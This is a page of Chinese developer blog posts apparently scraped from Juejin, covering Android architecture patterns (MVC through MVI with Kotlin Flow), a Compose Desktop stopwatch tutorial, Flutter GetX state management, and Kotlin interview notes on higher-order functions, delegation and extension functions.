  • View层: 对应于xm布局文件和java代码动态view部分。




  • Controller层: 主要负责业务逻辑,在android中由Activity承担,但xml视图能力太弱,所以Activity既要负责视图的显示又要加入控制逻辑,承担功能过多。




  • Model层: 主要负责网络请求,数据库处理,I/O操作,即页面的数据来源。




MVC数据流向为:



  • View接收用户的点击

  • View请求Controller进行处理或直接去Model获取数据

  • Controller请求model获取数据,进行其他的业务操作,将数据反馈给View层


MVC缺点:


如上2所说,android中xml布局功能性太弱,activity实际上负责了View层与Controller层两者的功能,耦合性太高。


MVP:


image.png


MVP主要分为以下几部分:


1.View层:对应于Activity与xml,只负责显示UI,只与Presenter层交互,与Model层没有耦合。


2.Presenter层:主要负责处理业务逻辑,通过接口回调View层。


3.Model层:主要负责网络请求,数据库处理的操作。


MVP解决了MVC的两个问题,即Activity承担了两层职责与View层和Model层耦合的问题。


MVP缺点:


1.Presenter层通过接口与View通信,实际上持有了View的引用。


2.业务逻辑的增加,一个页面变得复杂,造成接口很庞大。


MVVM


image.png
MVVM改动在于将Presenter改为ViewModel,主要分为以下几部分:


1.View: Activity和Xml,与其他的相同


2.Model: 负责管理业务数据逻辑,如网络请求,数据库处理,与MVP中Model相同


3.ViewModel:存储视图状态,负责处理表现逻辑,并将数据设置给可观察容器。


View和Presenter从双向依赖变成View可以向ViewModel发送指令,但ViewModel不会直接向View回调,而是让View通过观察者的模式去监听数据的改变,有效规避MVP双向依赖的缺点。


MVVM缺点:


多数据流:View与ViewModel的交互分散,缺少唯一修改源,不易于追踪。


LiveData膨胀:复杂的页面需要定义多个MutableLiveData,并且都需要暴露为不可变的LivewData。


MVI是什么?


先上图


image.png
其主要分为以下几部分




  1. Model层: 与MVVM中的Model不同的是,MVIModel可以理解是View Model,存储视图状态,负责处理表现逻辑,并将ViewState设置给可观察数据容器




  2. View层: 与其他MVVM中的View一致,可能是一个Activity或者任意UI承载单元。MVI中的View通过订阅Model的变化实现界面刷新




  3. Intent层: 此Intent不是ActivityIntent,而是指用户的意图,比如点击加载,点击刷新等操作,用户的任何操作都被包装成Intent,在model层观察用户意图从而去做加载数据等操作。




目前android主流的MVI是基于协程+flow+viewModel去实现的,协程应该大家都知道,所以先来了解一下MVI中的flow


flow是什么?


在flow 中,数据如水流一样经过上游发送,中间站处理,下游接收,类似于Rxjava,使用各种操作符实现异步数据流框架
代码示例:


   runBlocking {
flow {
emit(1)
emit(2)
emit(3)
emit(4)
emit(5)
}.filter { it > 2 }
.map { it * 2 }
.take(2)
.collect {
Log.d("FLOW", it.toString())
}
}

flow是冷流,只有订阅者订阅时,才开始执行发射数据流的代码
即下游无消费行为时,上游不会产生数据,只有下游开始消费,上游才从开始产生数据,从上述例子看,当调用了collect后,才会执行flow语句块里面的代码,并且flow每次重新订阅收集都会将所有事件重新发送一次


但是在我们的开发场景中,一般是先触发某个事件(比如请求数据之后)才会去刷新UI,显然flow不适用于这种场景,因为flow只有在下游开始消费时才会触发生产数据


因此引入一个新的概念,StateFlow:


StateFlow与Flow的区别是StateFlow是热流,即无论下游是否有消费行为,上游都会自己产生数据。
代码示例:


在ViewModel创建StateFlow,发送UI状态,关于UI状态下面会讲,这里主要了解StateFlow的用法


//创建flow
private val _state = MutableStateFlow<ViewState>(ViewState.Default)
val state: StateFlow<EnglishState>
get() = _state

//发送UI状态
state.value = ViewState.Loading

在Activity中接收:


    mViewModel.state.collect{
when(it) {
is ViewState.Default -> {

}
is ViewState.Loading -> {
//展示加载中页面
tvLoading.visibility = View.VISIBLE
}
is ViewState.BannerMsg -> {
//加载完成,绑定数据
tvLoading.visibility = View.GONE
tvError.visibility = View.GONE
mAdapter.setData(it.data)
}
is ViewState.Error -> {
//加载失败,展示错误页面
tvError.visibility = View.VISIBLE
}
}
}

看起来这个StateFlow用法和MVVM中的LiveData类似,那它们有什么区别呢?


区别1:StateFlow 需要将初始状态传递给构造函数,而 LiveData 不需要。


区别2:当 View 进入 STOPPED 状态时,LiveData.observe() 会自动取消注册使用方,停止发送数据, 而从 StateFlow 收集数据的操作并不会自动停止。如需要实现LiveData相同的行为,可以在 Lifecycle.repeatOnLifecycle 块中去观察数据流。


MVI框架构建:


Intent介绍:


上面提到,intent指的是用户意图,在代码层面上来说他其实就是个枚举类,在kotlin中可以通过sealed关键字来生成封闭类,这个关键字生成的封闭类在when语句中可以不用写else


sealed class UserIntent {
object GetBanners: UserIntent() //定义了一个用户获取Banner的意图
}

处理Intent


这里需要了解一下:Chnnel


channel主要用于协程之间的通讯,使用send和receive往通道里写入或者读取数据,2个方法为非阻塞挂起函数,channel是热流,不管有没有订阅者都会发送。
我们的view层的触发操作和viewModel层获取数据这个流程恰巧应该是需要完全分离的,并且channel具备flow的特性,所以用channel来做view和viewModel的通讯非常适合
根据上面的例子,用Channel把UserIntent处理一下:
在View Model定义并观察用户意图:


class UserViewModel : ViewModel() {
val userIntent = Channel<UserIntent>() //定义用户意图

init {
observeUserIntent()
}

private fun observeUserIntent() { //观察用户意图
viewModelScope.launch {
userIntent.consumeAsFlow().collect{
when(it) {
is UserIntent.GetBanners -> {
loadBanner()
}
}
}
}
}

Activity中发送用户意图:


class MainActivity : AppCompatActivity() {
private val mViewModel by lazy {
ViewModelProvider(this)[UserViewModel::class.java]
}
private val mAdapter by lazy { BannerAdapter() }
private lateinit var rvData: RecyclerView
private lateinit var tvLoading: TextView
private lateinit var tvError: TextView
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
initView()
loadData()
}

private fun initView() {
rvData = findViewById<RecyclerView?>(R.id.rv_data).apply {
layoutManager = LinearLayoutManager(this@MainActivity)
adapter = mAdapter
}
tvLoading = findViewById(R.id.loading)
tvError = findViewById(R.id.load_error)
}

private fun loadData() { //将用户意图传给view Model
lifecycleScope.launch {
mViewModel.userIntent.send(UserIntent.GetBanners)
}
}

看完上面的代码,MVI中的View到Model之间的数据流向就已经清晰了,
接下来就是Model向View层传递数据的过程


State介绍:


State是UI状态,MVI的一个特点就是数据状态统一管理,state是个和Intent一样的枚举,但是不同的是intent是个事件流,state是个状态流
定义一个State类:


sealed class ViewState {
object Default: ViewState() //页面默认状态
object Loading : ViewState() //页面加载
data class BannerMsg(val data: List<Banner>?): ViewState() //页面加载完成
data class Error(val error: String?): ViewState() //页面加载错误
}

处理State


在ViewModel中观测到用户意图,根据用户意图去做相关操作,然后将UI State反馈给用户



class UserViewModel : ViewModel() {
val userIntent = Channel<UserIntent>()
private val _state = MutableStateFlow<ViewState>(ViewState.Default)
val state: StateFlow<EnglishState>
get() = _state

init {
observeUserIntent()
}

private fun observeUserIntent() {
viewModelScope.launch { //观测用户意图
userIntent.consumeAsFlow().collect{
when(it) {
is UserIntent.GetBanners -> {
loadBanner()
}
}
}
}
}

private fun loadBanner() {
viewModelScope.launch {
state.value = ViewState.Loading //加载中状态 反馈给View层
val banners = CloudService.cloudApi.getBanner() //获取数据
banners.data?.let {
state.value = ViewState.BannerMsg(it) //加载成功状态,数据反馈给View
return@launch
}
state.value = ViewState.Error(banners.errorMsg) //加载错误状态反馈给View
}
}
}

Activity中观察页面状态:


class MainActivity : AppCompatActivity() {
private val mViewModel by lazy {
ViewModelProvider(this)[UserViewModel::class.java]
}
private val mAdapter by lazy { BannerAdapter() }
private lateinit var rvData: RecyclerView
private lateinit var tvLoading: TextView
private lateinit var tvError: TextView
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
initView()
observeViewModel()
loadData()
}

private fun initView() {
rvData = findViewById<RecyclerView?>(R.id.rv_data).apply {
layoutManager = LinearLayoutManager(this@MainActivity)
adapter = mAdapter
}
tvLoading = findViewById(R.id.loading)
tvError = findViewById(R.id.load_error)
}

private fun loadData() {
lifecycleScope.launch {
//发送用户意图
mViewModel.userIntent.send(UserIntent.GetBanners)
}
}

private fun observeViewModel() {
lifecycleScope.launch {
mViewModel.state.collect{ //观测UI状态,根据不同的状态刷新Ui
when(it) {
is ViewState.Default -> {
//初始值不做任何操作
}
is ViewState.Loading -> {
//展示加载中页面
tvLoading.visibility = View.VISIBLE
}
is ViewState.BannerMsg -> {
//加载完成,绑定数据
tvLoading.visibility = View.GONE
tvError.visibility = View.GONE
mAdapter.setData(it.data)
}
is ViewState.Error -> {
//加载失败,展示错误页面
tvError.visibility = View.VISIBLE
}
}
}
}
}
}

MVI架构主要代码介绍完毕。


MVI总结:


MVI强调数据的单向流动,主要分为几步:




  • 用户操作以Intent的形式通知Model.




  • Model基于Intent更新State




  • View接收到State变化刷新UI




数据永远在一个环形结构中单向流动,不能反向流动。


MVI优缺点


优点:



  • MVI的核心思想是 view-intent-viewmodel-state-view 单向数据流,MVVM核心思想是 view-viewmodel-view 双向数据流



    • 代码分层更清晰,viewmodel 无需关心view如何触发和更新,只需要维护intentstate即可





    • IntentState的引入解决了ViewModelModel的界限模糊问题




缺点:




  • 单向流和双向流,并非 好和不好 的选择,而是 适合和不适合 的选择,业务逻辑较为简单的界面,它不需要mvi、mvvm、mvp、mvc,只一个activity或者fragment + layout 即可,一味的套用架构,反而适得其反!




  • 逻辑、数据、UI 较为复杂时,intentstate将会变得臃肿


作者:用户1577096808602
链接:https://juejin.cn/post/7222460499493568571
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

使用Compose DeskTop实现一个带呼吸灯的秒表

前言 Compose Multiplatform是由Jetbrain团队维护的一个基于Kotlin和Jetpack Compose用于跨多平台的共享UI的声明式框架,目前支持的平台除了Android以外,还有iOS,Web和桌面,如此厉害的技术怎么能不亲自上手...
继续阅读 »

前言


Compose Multiplatform是由Jetbrain团队维护的一个基于Kotlin和Jetpack Compose用于跨多平台的共享UI的声明式框架,目前支持的平台除了Android以外,还有iOS,Web和桌面,如此厉害的技术怎么能不亲自上手尝试一下呢,所以这篇文章要讲的就是使用Compose Desktop开发一个桌面版的秒表应用


准备工作


在开发之前,我们要确定下使用的开发环境,这里我使用的编辑器是IntelliJ IDEA 2022.3.3这个版本,JDK环境用的是11,貌似是最低要求。


image.png

如何创建项目就不说了,现在很多文章都有详细讲解,我们直接开始吧


创建视图


首先我们的秒表肯定是有开始计时与结束计时两个状态,所以我们的界面上需要一个按钮来控制这两个状态,那么第一步就是在main函数的Window组件内绘制出这个按钮


image.png

其中turnOn变量就是我们控制状态的开关,通过Button的点击事件来改变,并且按钮的文案也随着状态的更改显示不同的文字,Clock就是我们绘制秒表的函数,并且接收turnOn这个变量控制秒表的计时。好了以后我们看一下效果


image.png

正如我们预想的一样,一个简单的桌面应用就出来了,接下来就开始绘制我们的秒表


绘制外框


秒表的外框通常来讲就是个圆,而使用Canvas绘制圆有两种选择,一种是使用drawCircle,另一种是使用drawPath,但考虑到drawCircle无法定义边框的大小,所以我们直接使用drawPath函数,绘制Path的话我们需要定义几个变量,分别是中心点坐标,Rect的左上坐标和右下坐标,代码如下


image.png

表盘选取在水平居中位置绘制,其中在中心点的y坐标,以及Rect的y坐标上都加上100的原因主要是为了如果边框的粗细设置的比较大的话,表盘不会被视图遮挡,现在我们就在Canvas中绘制定义好的Path


image.png

一个简单的边框就绘制好了,我们看下效果


111.png

又大又圆,边框绘制完毕,接下去就是表盘的刻度了


绘制刻度


刻度的样式每一种表盘上都不一样,我们这边就简单一些,就在5,10,15这样的刻度上显示文字,其他位置用圆点代替,不然60个数字画一圈怕是太密密麻麻了,那怎么做呢?我们分两步来,第一步先画数字,以下是我们需要用到的变量


image.png

由于绘制数字的方向是在一个圆周上的,所以我们定义一个数组angList存放绘制角度,同时也相对应的定义另一个数组textList存放数字的文案,circleRdius是表盘半径,用来计算圆周坐标用,现在就是要绘制文案了,我们使用DrawScopedrawText函数,有的人会说DrawScope下面哪来的drawText啊?那是因为drawText是在Compose 1.3.0版本推出的,所以如果找不到drawText的话,那就赶紧去更新版本吧,我们看下drawText这个函数都提供了哪些参数


image.png

可以看到必填的参数是前两个,一个是TextMeasurer对象,用来测量文案的,另一个不用多说,设置text,然后topLeft这个属性也是需要的,总不能12个数字都叠在一起吧,知道了要填的参数,我们现在就调用一下drawText


image.png

我们使用rememberTextMeasurer函数创建了一个TextMeasurer对象,并且使用pointXpointY分别计算了每个数字坐上的x,y坐标,两个函数的代码如下


image.png

这里至于为什么要在Offset函数中分别对计算出来的x,y减去20,主要是因为虽然计算出来的坐标是刚好在圆周上,但是当文字绘制出来以后,整体布局会有点偏右下,所以得在结果坐标上再减去20,让文字可以刚好看起来在圆周坐标的中心位置,现在我们运行下代码看下效果怎样


image.png

可以看到数字都画上去了,效果还行,接下来就是圆点刻度,同样定义需要用到的变量


image.png

degreeColor是绘制圆点刻度的颜色,pointAngleList跟上面的anglist一样,是存放圆点角度的数组,虽然说这个数组的大小定义为60,但是在lambda表达式中我们判断了如果计算出来的角度在anglist中已经存在,那么就不赋值用0代替,最终绘制的时候我们判断如果角度为0,那么就不绘制,所以0度的刻度不会被绘制在表盘上,而绘制圆点我们直接使用drawCircle函数,代码如下


image.png

因为同样也是在圆周上,所以计算圆点的坐标也用到了pointx与pointy函数,我们再看下效果


image.png

有内味儿了是不,我们接下来开始画指针


绘制指针


指针其实就是一根line,我们使用drawLine函数就能绘制出来,另外我们在中心点位置再绘制一个圆点,当作是把指针固定在表盘上的一样,代码如下


image.png

其中pointerColor是指针和圆点的颜色,运行一遍代码,我们看到指针已经绘制上去了


image.png

但是指针跟刻度不一样,它得是能绕着圆点动的,怎么动呢?我们看到上面那根静态指针绘制的角度是在angList[0]上,那是不是不停的改变角度,我们的指针就动起来了呢?我们来定一个数组来存在所有需要经过的角度


image.png

totalList就是存放所有角度的数组,至于intervalSize是什么呢,我们知道有的秒表上指针是一格一格走的,间隔比较大,有的间隔比较小,看起来的效果就比较丝滑,intervalSize就是定义指针走动的频率大小的值,并且是能够被360整除的,数组定义好了,我们再给数组下标创建个动画


image.png

这里创建了一个循环动画,因为totalList遍历完一遍以后,代表着一分钟过去了,角度又得重新开始遍历,所以我们给数组的下标值定义了一个循环动画,另外我们还使用LaunchedEffect函数,来监听外部传来的turn值的变化,turn为true的时候,angleIndex的初始值目标值不同,动画开启,turn为false的时候,angleIndex的初始值目标值相同,动画暂停。我们更新下CanvasdrawLine的代码,让drawLine里面获取角度的下标值的变量变成angleIndex


image.png

我们看下效果


aaa1.gif


文字时间


一个秒表的表盘绘制完毕,我们再加点东西,一般性一个秒表底下都会有个文字时间在跳动,差不多由分,秒,毫秒组成,我们这边也加上这些东西,并且在分与秒之间用文字“分”隔开,秒与毫秒之间用“秒”字隔开,那么这五个Text我们要计算出它们topLeft的坐标


image.png

文案的y坐标很容易,就是在表盘底部y坐标上再加点距离就好,至于横坐标,就是找出中间一块区域再五等分,坐标定义完毕,我们先把两个中文绘制出来,x坐标取timeXList下标为1和3的值


image.png

接着我们想一下毫秒位置的数字怎么展示,毫秒位置是在一秒内从0跳到99,然后再从0跳到99,这不又是个循环动画吗,我们仿照指针的动画,将毫秒的动画创建出来


image.png

同样的,因为毫秒的动画也跟随着turn值的变化而改变,所以我们将这个过程也在LaunchEffect中添加上


image.png

现在我们可以在Canvas中将毫秒也绘制出来了


image.png

这边还做了一个处理,当毫秒的值为个位数的时候,我们在数字的边上再加上一个0,让数字跳动的时候看起来效果好一些,毫秒的位置已经绘制完毕,秒的位置也一样,因为它也是从0到60变化的一个循环动画,所以它的代码与毫秒基本差不多


image.png

现在我们再看下效果


aaa2.gif


还剩下分的位置,分就不能用循环动画来实现了,它是一个逐渐递增的过程,当秒的位置为从59变回0的时候,分的位置加一,那么我们就需要一个变量来记录分的值


image.png

minuteValue用来记录分钟的值,然后我们在Canvas里面判断当mainSecondText刚到59的时候,就准备开始给minuteValue加一,为什么是开始准备而不是立马加一呢,因为如果那样做的话,显示的效果是秒的位置一到59秒的时候,分就加一了,这就不符合实际了,我们希望是当59变为0的那会分才加一,所以我们还需要一个状态位,当mainSecondText变为59的时候,状态位打开,直到mainSecondText变成0的时候,状态位才关闭,这个时候分才加一,我们把状态位命名为addMinute


image.png

给分钟设置值的代码如下


image.png

再运行一遍代码看看效果如何


aaa3.gif


完美的衔接起来了,这样一个秒表的功能就基本完成了,我们稍微在点缀一下,如标题所示,加个呼吸灯


呼吸灯效果


在做这个效果之前,这里有个问题,大家是否知道在Compose里面如何给视图设置渐变色?使用drawable吗?Compose里可不兴这些,咱回忆下我们在调用drawpath函数的时候,编辑器是不是会给出这样的提示


image.png

有两个drawPath的函数,这俩函数的区别是在第二个参数上,一个是Color,另一个是Brush,我之前通常都是用Color的,因为Brush是个啥我也不知道,但是当我看到Brush里面的代码以后


image.png

看到第一行注释没,这个其实就是用来做渐变效果的,它比我们传统Android里面设置渐变功能还要丰富,不但渐变的颜色没有限制,方向也没有限制,也就是说你可以在任意两个点之间设置若干种颜色的渐变,现在我们就在我们秒表的边框上设置三种颜色的渐变吧


image.png

首先设置好我们要渐变的颜色值,然后将这个存放颜色值的circleColorList当作参数传入drawPathBrush


image.png

边框的粗细也加大到了30,这样也能清晰的看到渐变效果,现在运行后的效果如下


image.png

效果出来了是不,现在是三个颜色的渐变,那既然刚刚说了Brush的渐变颜色可以是若干个,那么我们在circleColorList中再添加几个颜色试试


image.png

从刚刚的三个变成了六个颜色的数组,再运行一下看看效果会怎么样呢?


image.png

是不是跟刚刚的那个效果图比起来,这个时候的边框渐变色更多了呢,到了这里,咱有个想法,通过之前的循环动画,我们能不能将Brush里面的渐变色值也循环起来呢,比如先设置的是circleColorList下标为0,1,2的颜色,接下去就是显示下标为1,2,3的颜色,以此类推,下标值到了数组末尾,下一个再从头开始,这么做到底会有什么效果呢,我们试一下


image.png

如上述代码所示,我们创建了一个初始值为0,目标值为circleColorList.lastIndex的循环动画,动画时长为两秒,接下去,我们通过判断不同的下标值场景来选取不同的颜色来绘制边框


image.png

由于是三种颜色的渐变,所以场景选择了如果colorIndex为数组最后一个下标,colorIndex为数组倒数第二个下标,以及其他情况,现在我们再来看看边框效果


aaa4.gif


是不是就像表盘周围安置了一个呼吸灯一样,但是这个呼吸灯还不是很完善,因为我们看到的效果,这个呼吸的过程是慢慢从浅色开始,逐渐变深,然后由深变浅是一瞬间的过程,感觉像是这个呼吸被打断了一样,造成这个效果的原因是我们circleColorList数组里面的色值,根据下标的递增是逐渐变深的,但是缺少逐渐变浅的过程,所以我们应该在circleColorList中再增加几个色值,也就是将原来的色值顺序倒转一下添加进去,就像下面这样


image.png

这样就满足了我们呼吸灯由浅变深和由深变浅的两个过程,我们再看看效果


aaa5.gif


总结


Compose DeskTop的秒表功能完成了,这也是我Compose Multiplatform的第一个demo,先选择DeskTop主要是因为几个跨平台里面只有DeskTop与Android的代码算是真正意义上的一套代码跨平台使用,Web主要是多了几个Dom组件,Android里面没法使用,而iOS现在也只是刚刚发布Alpha版,我还在摸索学习中,所以先用DeskTop开个场,后面别的平台的小应用也会相继推出。


作者:Coffeeee
链接:https://juejin.cn/post/7222823687837220901
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Flutter必学的Getx状态管理库

什么是 GetX? 一个简单、高效、强大的管理状态、路由管理库 学习目标 掌握使用GetX管理状态 了解基础GetX状态管理的原理 GetX状态管理的优势 精确渲染,只会渲染依赖状态变化的组件而不会全部组件渲染一遍 安全性高,当程序出现错误时,不会因为重...
继续阅读 »

什么是 GetX?


一个简单、高效、强大的管理状态、路由管理库


学习目标



  • 掌握使用GetX管理状态

  • 了解基础GetX状态管理的原理


GetX状态管理的优势



  1. 精确渲染,只会渲染依赖状态变化的组件而不会全部组件渲染一遍

  2. 安全性高,当程序出现错误时,不会因为重复更改状态导致崩溃

  3. 有个GetX永远不需要声明状态组件, 忘记StatefulWidget组件

  4. 实现MVC架构,将业务逻辑写到控制器中,视图层专注于渲染

  5. 内置了防抖/节流、首次执行等功能

  6. 自动销毁控制器,无需用户手动销毁


用法


1.1声明响应式状态


有三种声明方式,使用哪一种都可以 推荐第三种


1.1.1 使用声明,结合Rx{Type}


final name = RxString(''); // 每种内置的类型都有对应的类
final isLogged = RxBool(false);
final count = RxInt(0);
final balance = RxDouble(0.0);
final items = RxList<String>([]);
final myMap = RxMap<String, int>({});

1.1.2 泛型声明 Rx


final name = Rx<String>(''); 
final isLogged = Rx<Bool>(false);
final count = Rx<Int>(0);
final balance = Rx<Double>(0.0);
final number = Rx<Num>(0);
final items = Rx<List<String>>([]);
final myMap = Rx<Map<String, int>>({});
// 自定义类 声明方法
final user = Rx<User>();

1.1.3以.obs作为值(推荐使用)


final name = ''.obs;
final isLogged = false.obs;
final count = 0.obs;
final balance = 0.0.obs;
final number = 0.obs;
final items = <String>[].obs;
final myMap = <String, int>{}.obs;
// 自定义类 声明方法
final user = User().obs;

2.1 使用响应状态到视图中


有两种方法使用状态:



  1. 基于Obx收集依赖状态

  2. 基于GetX<Controller>获取对应的控制器类型


2.1.1基于Obx收集依赖状态


十分简单,我们只需要使用静态类即可达到动态更新效果。



  1. 创建一个 Controller


// HomeController 可以写到一个专门管理控制器的文件中,这样方便维护
// 就像 React 需要把 Hook 单独提取一个文件一样
class HomeController extends GetxController {
var count = 0.obs;
increment() => count++;
}


  1. 导入创建的 Controller 并使用它


class Home extends StatelessWidget {
const Home({super.key});
@override
Widget build(BuildContext context) {
// 寻找Controller
HomeController c = Get.find<HomeController>();
return Obx(
() => Scaffold(
body: ElevatedButton(
// 通过`c.count.value`使用状态,也可以不使用.value,.value可选的
child: const Text("${c.count}"),
onPressed: () => c.count++, // 改变状态,
),
),
);
}
}

2.1.2 基于GetX<Controller>获取对应的控制器类型


这种做法需要三个步骤



  1. 声明一个控制器


// HomeController 可以写到一个专门管理控制器的文件中,这样方便维护
class HomeController extends GetxController {
var count = 0.obs;
increment() => count++;
}


  1. GetMaterialApp类中初始化时导入对应的控制器


// main.dart
void main() {
runApp(GetMaterialApp(
// 如果不写这一步那么GetX将无法找到HomeController控制器
initialBinding: InitBinding(),
home: const Home(),
));
}
class InitBinding implements Bindings {
@override
void dependencies() {
Get.put(HomeController());
}
}


  1. 在对应组件或页面中使用GetX<Controller>实现数据的响应


class Home extends StatelessWidget {
const Home({super.key});

@override
Widget build(BuildContext context) {
// 这样就可以正常使用了
return Obx<HomeController>(
builder: (c) => Scaffold(
body: ElevatedButton(
child: const Text(c.count.value),
onPressed: () => c.count++,
),
),
);
}
}

3.1 监听状态更新的工具函数



  • 当依赖的值发生变化后会触发回调函数


var count = 0.obs;

// 每当 count 发生改变的时候就会触发回调函数执行
ever(count, (newCount) => print("这是count的值: $newCount"));

// 只有首次更新时才会触发
once(count, (newCount) => print("这是count的值: $newCount"));

/// 类似于防抖功能频繁触发不会每次更新,只会停止更新count后的 1秒才执行(这里设置成了1秒)
debounce(count, (newCount) => print("这是count的值: $newCount"), time: Duration(seconds: 1));

/// 类似于节流功能 频繁更新值每秒钟只触发一次 (因为这里设置成了1秒)
interval(count, (newCount) => print("这是count的值: $newCount"), time: Duration(seconds: 1));

GetX状态管理的疑惑


1.1 哪些地方可以使用.obs



  • 可以直接在类中赋值使用


class RxUser {
final name = "Camila".obs;
final age = 18.obs;
}


  • 直接将整个类都变成可观察对象


class User {
User({String name, int age});
var name;
var age;
}

final user = User(name: "Camila", age: 18).obs;

1.1.2 一定要使用xxx.value获取值吗?


这个并没有强制要求使用xxx.value获取值,可以直接使用xxx这能让代码看起来更加简洁


1.2 可观察对象是类如何更新?



  • 两种方式可以更新,使用其中一种即可


class User() {
User({this.name = '', this.age = 0});
String name;
int age;
}
final user = User().obs;

// 第一种方式
user.update( (user) {
user.name = 'Jonny';
user.age = 18;
});

// 第二种方式
user(User(name: 'João', age: 35));

// 使用方式
Obx(()=> Text("名字 ${user.value.name}: 年龄: ${user.value.age}"))

// 可以不需要带.value访问,需要将user执行
user().name;

GetX状态管理的一些原理


1.1.1.obs原理是什么?


var name = "dart".obs



  • 源码只是通过StringExtensionString扩展了一个get属性访问器

  • 原理还是通过RxString做绑定


tips: 如果想查看源码的话可以通过 control键 + 左击.obs就可以进入源码里面了


1.2 Obx的基本原理是什么?



  • 简而言之,Obx其实帮我们包裹了一层有状态组件


var build = () => Text(name.value)

Obx(build);


继承了一个抽象ObxWidget类,将传递进来的build方法给了ObxWidget,还得看看ObxWidget做了什么



ObxWidget继承了有状态组件,并且build函数让Obx类实现了



_ObxWidget主要做了两件事情



  1. 初始化的时候监听依赖收集,销毁时清空依赖并关闭监听。这是Obx的核心

  2. Obx实现的build函数传递给了RxInterface.notifyChildren执行



NotifyManager是一个混入,主要功能



  • subject属性用于传递更新通知

  • _subscriptions属性用于存储RxNotifier实例的订阅列表

  • canUpdate方法检查是否有任何订阅者

  • addListener用于将订阅者添加到订阅列表中,当 RxNotifier 实例的值发生变化时,它将通过 subject 发出通知,并通知所有订阅者

  • listen方法监听subject变化并在变化时执行回调函数

  • close关闭所有订阅和释放内存等

作者:liang的编程之路
链接:https://juejin.cn/post/7222656390547914809
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

面试整理-kotlin与jetpack

面试可能会问到的问题 内联函数与高阶函数 对委托的理解 扩展方法以及其原理 协变与逆变 协程相关知识(创建方式、原理) jetpack使用过哪些库 LiveData和LifeCycle的原理 Viewmodel的原理 WorkManager的使用场景 Nav...
继续阅读 »

面试可能会问到的问题



  1. 内联函数与高阶函数

  2. 对委托的理解

  3. 扩展方法以及其原理

  4. 协变与逆变

  5. 协程相关知识(创建方式、原理)

  6. jetpack使用过哪些库

  7. LiveData和LifeCycle的原理

  8. Viewmodel的原理

  9. WorkManager的使用场景

  10. Navigation使用过程中有哪些坑


内联函数和高阶函数



关键不是问你什么概念,而是看你在实际使用中有没有注意这些细节



概念



  • 内联函数:编译时把调用代码插入到函数中,避免方法调用的开销。

  • 高阶函数:接受一个或多个函数类型的参数,并/或返回一个函数类型的值


概念就这两句话,实际使用的时候却有很大的用途。比如我们常用的apply、run、let这些其实就是一个内联高阶函数。


// apply 
public inline fun <T> T.apply(block: T.() -> Unit): T { block() return this }
// run
public inline fun <T, R> T.run(block: T.() -> R): R { return block() }
// let
public inline fun <T, R> T.let(block: (T) -> R): R { return block(this) }

使用心得



  1. 有时候为了代码整洁,我们不会让一个方法超过一屏幕,会把里面的方法抽成几个小的方法,但是方法会涉及到入栈出栈,而内联函数就可以保证代码的整洁又避免了方法进栈出栈的开销。这个是我们稍微注意一下很方便做的优化。

  2. 为了简化函数的调用我们可以使用高阶函数,除了系统提供的apply、run、let这些外,自己其实平时也会写一些高阶函数,比如下面的例子





    • 使用高阶函数增加代码可读性




// 使用高阶函数简化网络请求处理
fun <T> Call<T>.enqueue(
onSuccess: (response: Response<T>) -> Unit,
onError: (error: Throwable) -> Unit,
onCancel: () -> Unit
) {
enqueue(object : Callback<T> {
override fun onResponse(call: Call<T>, response: Response<T>) {
if (response.isSuccessful) {
onSuccess(response)
} else {
onError(Exception("Request failed with code ${response.code()}"))
}
}

override fun onFailure(call: Call<T>, t: Throwable) {
if (!call.isCanceled) {
onError(t)
} else {
onCancel()
}
}
})
}

---
// 使用的时候
call.enqueue(
onSuccess = { response ->
// 在这里处理网络请求成功的逻辑

},
onError = { error ->
// 在这里处理网络请求失败的逻辑
},
onCancel = {
// 在这里处理网络请求取消的逻辑
}
)





    • 使用高阶函数减少无用回调,方便使用




// 使用高阶函数简化回调函数
fun EditText.doOnTextChanged(action: (text: CharSequence?, start: Int, before: Int, count: Int) -> Unit) {
addTextChangedListener(object : TextWatcher {
override fun beforeTextChanged(s: CharSequence?, start: Int, count: Int, after: Int) {
}

override fun onTextChanged(s: CharSequence?, start: Int, before: Int, count: Int) {
action(s, start, before, count)
}

override fun afterTextChanged(s: Editable?) {
}
})
}

// 使用的时候只需要关系一个回调就可以
editText.doOnTextChanged { text, _, _, _ ->
// 在这里处理输入框文本变化的逻辑
}


这两个例子很好的说明了高阶函数的作用,可以简化一些操作,也可以增强可读性。其实还有一些其他的作用比如用高阶函数实现RecycleView初始化时的函数式编程、对一些方法添加缓存等等。
只要涉及到对原有方法的增强或者简化或者添加多一层封装实现链式调用都可以考虑使用高阶函数。


对委托的理解



因为委托在开发中真的非常好用,问这个问题就想看看你有没有真的理解委托



首先委托的概念就是把一个对象的职责委托给另外一个对象,在kotlin中有属性的委托和类的委托。属性的委托比如by lazy,他的作用是使用到的时候才加载简化了判空代码也节省了性能。类的委托通常是一个接口委托一个对象interface by Class。目的是对一个类的解耦方便以后相同功能的代码复用。例子就不举例了,就是但凡开发中想到有些代码是可以复用的时候可以考虑能不能写成一个接口去交给委托类去实现。


问到by lazy可能还会问你与lateinit的区别。



  • lateinit:延时加载,只是告诉编译器不用检查这个变量的初始化,不能使用val修饰

  • by lazy:懒加载,lazy是一个内联高阶函数,通过传入自身来做一些初始化的判断。


扩展方法以及其原理



扩展函数也是使用kotlin时非常好用的一个特性,多多少少可能也会提一嘴。



实际开发中我们的点击事件、资源获取等都可以使用。好处就不多说了,比如加入防抖,或者获取资源时的捕获异常,都可以减少日后添加需求时的开发量


private var lastClickTime = 0L
fun View.setSingleClickListener(delay: Long = 500, onClick: () -> Unit) {
setOnClickListener {
val currentTime = System.currentTimeMillis()
if (currentTime - lastClickTime > delay) {
onClick()
lastClickTime = currentTime
}
}
}


  • 原理
    Kotlin 中的扩展方法其实是一种静态的语法糖,本质上是一个静态函数,不是实例函数。编译器会将扩展方法转化为静态函数的调用。
    比如



fun String.lastChar(): Char = this.get(this.length - 1)
---
val s = "hello"
val c = s.lastChar() // 转化为 StringKt.lastChar(s)

协变与逆变(out 和 in)



